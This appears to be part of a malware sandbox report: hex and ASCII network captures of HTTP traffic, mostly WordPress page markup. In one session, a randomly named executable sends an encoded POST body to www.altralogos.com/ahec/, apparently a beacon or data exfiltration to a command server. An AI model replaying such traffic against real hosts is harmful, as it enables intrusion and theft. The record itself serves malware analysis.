Dec 8, 2023 14:53:06.361068010 CET	1286	IN	Data Raw: 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 64 2d 62 61 73 65 2d 64 65 70 72 65 63 61 74 65 64 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c Data Ascii: media='all' /><link rel='stylesheet' id='wd-base-deprecated-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/base-deprecated.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-elementor-base-
Dec 8, 2023 14:53:06.361109018 CET	1286	IN	Data Raw: 27 20 69 64 3d 27 77 64 2d 70 61 67 65 2d 74 69 74 6c 65 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 Data Ascii: ' id='wd-page-title-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/page-title.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-wd-search-form-css' href='http://altralogos.com/wp-content/the
Dec 8, 2023 14:53:06.361148119 CET	1286	IN	Data Raw: 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 73 2f 70 61 72 74 73 2f 6f 70 74 2d 73 63 72 6f 6c 6c 74 6f 74 6f 70 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 Data Ascii: -content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='xts-google-fonts-css' href='https://fonts.googleapis.com/css?family=Inter%3A400%2C600%2C300%7CPlayfair+Display%3A40
Dec 8, 2023 14:53:06.361185074 CET	1286	IN	Data Raw: 49 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 64 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 53 44 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 3f Data Ascii: I" type="application/rsd+xml" title="RSD" href="https://altralogos.com/xmlrpc.php?rsd" /><meta name="generator" content="WordPress 6.4.2" /><meta name="theme-color" content="rgb(1,34,31)"><meta name="viewport" content="width=device-widt
Dec 8, 2023 14:53:06.361222982 CET	1286	IN	Data Raw: 70 3a 20 2d 30 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2d 30 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 63 61 6c 63 28 31 30 30 25 20 2b 20 30 70 78 29 3b 0a 7d 0a 0a 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 Data Ascii: p: -0px;margin-bottom: -0px;height: calc(100% + 0px);}@media (min-width: 1025px) {.whb-top-bar-inner {height: 80px;max-height: 80px;}.whb-sticked .whb-top-bar-inner {height: 40px;max-height: 40px;}.whb-he
Dec 8, 2023 14:53:06.361323118 CET	1286	IN	Data Raw: 6c 61 79 22 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 0a 2d 2d 77 64 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 23 Data Ascii: lay", Arial, Helvetica, sans-serif;--wd-title-font-weight:600;--wd-title-color:#242424;}:root{--wd-entities-title-font:"Playfair Display", Arial, Helvetica, sans-serif;--wd-entities-title-font-weight:700;--wd-entities-title-color:#33333
Dec 8, 2023 14:53:06.361358881 CET	1286	IN	Data Raw: 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 73 75 63 63 65 73 73 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 7d 0a 3a 72 6f 6f 74 7b 0a 2d 2d 6e 6f 74 69 63 65 73 2d 77 61 72 6e 69 6e 67 2d 62 67 3a 72 67 62 28 32 32 35 2c 31 31 33 2c 36 35 29 3b 0a 7d 0a Data Ascii: t{--notices-success-color:#fff;}:root{--notices-warning-bg:rgb(225,113,65);}:root{--notices-warning-color:#fff;}:root{--wd-form-brd-radius: 35px;--wd-form-brd-width: 2px;--btn-default-color: #ff
Dec 8, 2023 14:53:06.600351095 CET	1286	IN	Data Raw: 6e 2e 77 64 2d 73 65 63 74 69 6f 6e 2d 73 74 72 65 74 63 68 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 67 61 70 2d 64 65 66 61 75 6c 74 20 7b 0a 09 09 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 31 32 70 78 3b 0a 09 09 7d 0a 09 Data Ascii: n.wd-section-stretch > .elementor-column-gap-default {max-width: 1212px;}.elementor-section.wd-section-stretch > .elementor-column-gap-extended {max-width: 1222px;}.elementor-section.wd-section-stretch > .elementor-column-g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49783	185.74.252.11	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:53:07.878715038 CET	10846	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.altralogos.com Origin: http://www.altralogos.com Referer: http://www.altralogos.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 36 6e 41 59 31 70 77 4a 75 72 46 33 6c 34 6c 74 73 47 30 6a 65 79 2f 32 5a 41 4e 64 6e 75 70 76 5a 5a 38 67 4e 43 57 31 57 44 6f 6d 6d 6c 7a 39 4d 6e 6c 6a 71 4a 33 57 4d 6f 6e 58 34 51 48 35 51 64 31 37 53 45 6d 64 38 79 32 31 45 55 61 66 36 7a 57 50 49 71 54 70 4f 4e 57 67 57 58 39 4e 61 75 4c 50 6b 37 5a 62 6a 4c 44 66 6c 7a 63 39 35 67 36 2f 5a 4a 45 38 4c 6c 33 30 46 46 46 6f 68 72 49 62 30 71 44 63 73 58 59 6c 4f 73 52 4d 39 6d 58 39 76 72 34 5a 47 61 75 49 53 67 66 4e 2f 6b 6e 30 73 42 5a 41 6b 4a 75 5a 69 73 62 42 58 52 62 2f 32 62 33 65 52 42 35 79 46 73 33 47 56 4e 4d 6d 55 66 6a 2f 35 51 45 2b 6e 51 68 65 57 33 79 34 6a 79 51 34 2f 33 77 66 67 5a 50 74 59 53 33 55 52 33 46 70 46 36 51 30 37 4e 4c 58 65 56 6f 45 4a 62 31 6e 65 59 2b 45 44 2f 39 36 4d 70 51 31 44 33 79 39 34 33 31 56 36 50 50 68 57 4f 31 37 31 46 55 70 73 30 30 4d 75 4b 63 61 47 53 72 59 74 65 32 42 74 79 65 71 56 79 79 4c 77 78 54 53 4b 68 50 72 45 68 2f 61 35 6f 79 74 31 63 5a 31 52 73 38 37 6b 6b 71 36 43 41 2b 7a 6a 66 59 7a 46 71 69 77 4b 66 39 47 44 44 4c 56 33 49 6d 61 6d 73 49 44 69 7a 6a 72 63 78 42 58 39 4c 49 74 4b 4b 55 73 67 79 4b 76 4c 56 61 59 68 56 54 64 6a 51 73 45 74 4d 53 6e 43 34 68 4c 30 61 31 46 32 37 36 4a 31 7a 46 66 56 30 73 71 70 69 65 33 4a 41 49 64 45 70 6a 37 54 46 49 58 53 4c 56 52 2f 56 49 43 33 58 77 2f 46 35 62 36 5a 52 58 64 78 62 4c 32 38 4a 72 4f 59 2b 46 47 71 51 55 4d 43 34 46 41 77 5a 34 74 6e 79 4e 72 72 62 46 69 4b 73 43 4d 52 6f 59 6e 55 70 31 4a 6e 6c 52 36 53 33 56 38 6d 2b 50 43 56 59 43 65 79 58 71 4f 5a 43 2f 67 39 78 79 73 34 4a 73 43 35 6d 68 42 35 55 71 48 2b 46 4f 39 49 5a 39 61 4f 33 59 71 57 4b 55 54 43 52 39 34 4e 76 73 35 55 54 47 31 64 33 46 77 30 77 6f 33 41 2f 5a 4b 4d 76 33 31 66 6a 4a 78 78 65 78 4e 47 62 78 53 52 58 42 41 2b 62 31 4d 73 65 65 35 77 6d 66 41 69 55 4d 39 35 64 43 2b 67 69 43 6a 75 35 63 71 4c 54 2b 67 61 41 72 6b 38 73 33 2f 6f 65 57 6b 77 66 68 58 57 6a 50 47 4c 43 6d 57 64 51 6d 38 6d 2b 73 42 77 41 37 47 33 2b 65 62 4c 52 7a 6a 4d 69 4e 71 4c 46 34 5a 65 45 72 6c 77 36 67 58 52 7a 67 4a 51 77 45 39 46 45 57 43 66 70 32 57 6f 47 51 45 62 66 4b 30 55 30 67 32 56 56 2b 6d 71 5a 43 42 6d 68 32 67 4a 52 58 4a 32 59 51 76 67 6c 52 77 70 54 76 6c 6a 72 68 76 50 58 62 58 38 70 31 45 68 6c 4a 4e 76 4e 32 57 5a 4f 67 5a 43 78 38 6c 31 6b 39 30 6b 75 61 79 48 66 6c 5a 62 6a 33 74 43 6c 44 48 68 5a 61 4e 49 68 76 50 56 32 71 53 77 6a 6c 56 53 79 55 55 4d 53 31 42 6b 45 4b 6b 2b 55 33 51 6b 39 39 57 39 52 66 75 37 43 37 58 2f 55 46 35 41 2f 61 57 6c 45 75 4b 51 74 4b 4e 71 50 41 78 31 78 4e 4f 4f 44 7a 45 65 78 31 30 74 76 65 75 37 6b 33 63 72 46 44 69 2f 71 6d 37 67 34 59 43 77 6f 2b 59 44 63 53 77 31 49 63 62 74 43 4e 61 2f 36 46 34 77 2b 48 77 59 2f 7a 73 63 33 6c 4b 47 6f 6c 58 6c 55 37 4b 6b 32 67 4b 44 59 70 45 4a 51 48 75 6b 58 61 75 4b 6b 47 70 45 76 30 4d 4a 59 54 58 55 52 79 30 30 59 6b 76 66 57 61 63 31 66 42 69 58 65 30 75 47 69 76 2b 51 70 68 78 74 63 63 65 76 76 45 58 62 4f 39 47 37 4c 64 56 39 68 48 4f 58 32 4b 39 50 4a 30 57 61 2b 65 4c 33 62 54 4a 2b 58 39 77 67 41 68 45 70 56 50 59 53 6d 65 47 78 79 5a 51 6c 74 35 5a 6f 31 78 71 67 47 70 65 43 6c 39 2b 62 50 39 58 52 57 6f 45 73 78 48 56 55 46 61 44 46 50 31 4d 5a 6a 34 4d 59 50 64 6f 6d 62 42 68 53 67 66 41 72 4d 4d 4d 73 6f 66 76 46 2f 6e 30 57 56 67 4f 76 51 4f 6f 67 6c 42 33 46 34 46 50 71 4d 37 32 56 67 68 30 2f 53 6e 2b 77 43 42 77 55 59 37 36 58 4c 54 4d 4c 46 68 75 57 34 64 6a 75 78 58 58 56 46 34 30 71 46 37 51 63 66 6e 5a 62 6f 49 63 47 6d 51 67 36 55 63 2f 74 4b 53 57 47 69 45 2b 77 71 34 49 78 75 50 42 5a 57 75 47 37 6c 6e 53 62 4f 51 69 41 56 4c 78 62 76 57 77 50 6c 57 4f 45 33 34 4e 50 59 44 79 4b 58 6d 59 63 39 4c 38 55 69 35 34 56 31 74 55 6d 69 35 56 36 78 76 4e 2b 61 50 53 4a 50 6e 76 57 4f 41 6d 43 53 5a 48 78 63 76 50 63 71 4c 6e 4c 6a 33 34 46 78 5a 67 59 6f 30 36 64 2f 7a 6f 64 5a 73 57 57 75 72 67 32 68 56 37 6b 4e 49 78 4f 31 39 36 39 69 4d 52 4b 47 56 65 66 43 6b 2f 39 55 36 49 6a 6c 33 37 51 4b 46 62 52 4c 79 6e 68 33 51 79 55 30 70 79 76 4f 34 53 5a 75 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:53:09.144088984 CET	1286	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:53:07 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 22 20 63 6c 61 73 73 3d 22 79 6f 61 73 74 2d 73 63 68 65 6d 61 2d 67 72 61 70 68 22 3e 7b 22 Data Ascii: 4000<!DOCTYPE html><html lang="ru-RU"><head><meta charset="UTF-8"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="pingback" href="http://altralogos.com/xmlrpc.php"><script>window.MSInputMethodContext && document.documentMode && document.write('<script src="http://altralogos.com/wp-content/themes/woodmart/js/libs/ie11CustomProperties.min.js"><\/script>');</script><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO Premium plugin v19.2.1 (Yoast SEO v19.6.1) - https://yoast.com/wordpress/plugins/seo/ --><title> \| Altralogos</title><meta property="og:locale" content="ru_RU" /><meta property="og:title" content=" \| Altralogos" /><meta property="og:site_name" content="Altralogos" /><script type="application/ld+json" class="yoast-schema-graph">{"
Dec 8, 2023 14:53:09.144112110 CET	1286	IN	Data Raw: 40 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 22 40 67 72 61 70 68 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6c 74 72 61 6c 6f Data Ascii: @context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://altralogos.com/#website","url":"https://altralogos.com/","name":"Altralogos","description":"Altralogos","potentialAction":[{"@type":"SearchAction","target":{"@type":"En
Dec 8, 2023 14:53:09.144154072 CET	1286	IN	Data Raw: 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 37 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a Data Ascii: .125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><link rel='stylesheet' id='elementor-icons-css' href='http://altralogos.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?v
Dec 8, 2023 14:53:09.144232035 CET	1286	IN	Data Raw: 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 64 2d 62 61 73 65 2d 64 65 70 72 65 63 61 74 65 64 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c Data Ascii: media='all' /><link rel='stylesheet' id='wd-base-deprecated-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/base-deprecated.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-elementor-base-
Dec 8, 2023 14:53:09.144350052 CET	1286	IN	Data Raw: 27 20 69 64 3d 27 77 64 2d 70 61 67 65 2d 74 69 74 6c 65 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 Data Ascii: ' id='wd-page-title-css' href='http://altralogos.com/wp-content/themes/woodmart/css/parts/page-title.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='wd-wd-search-form-css' href='http://altralogos.com/wp-content/the
Dec 8, 2023 14:53:09.144428015 CET	1286	IN	Data Raw: 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 63 73 73 2f 70 61 72 74 73 2f 6f 70 74 2d 73 63 72 6f 6c 6c 74 6f 74 6f 70 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 Data Ascii: -content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='xts-google-fonts-css' href='https://fonts.googleapis.com/css?family=Inter%3A400%2C600%2C300%7CPlayfair+Display%3A40
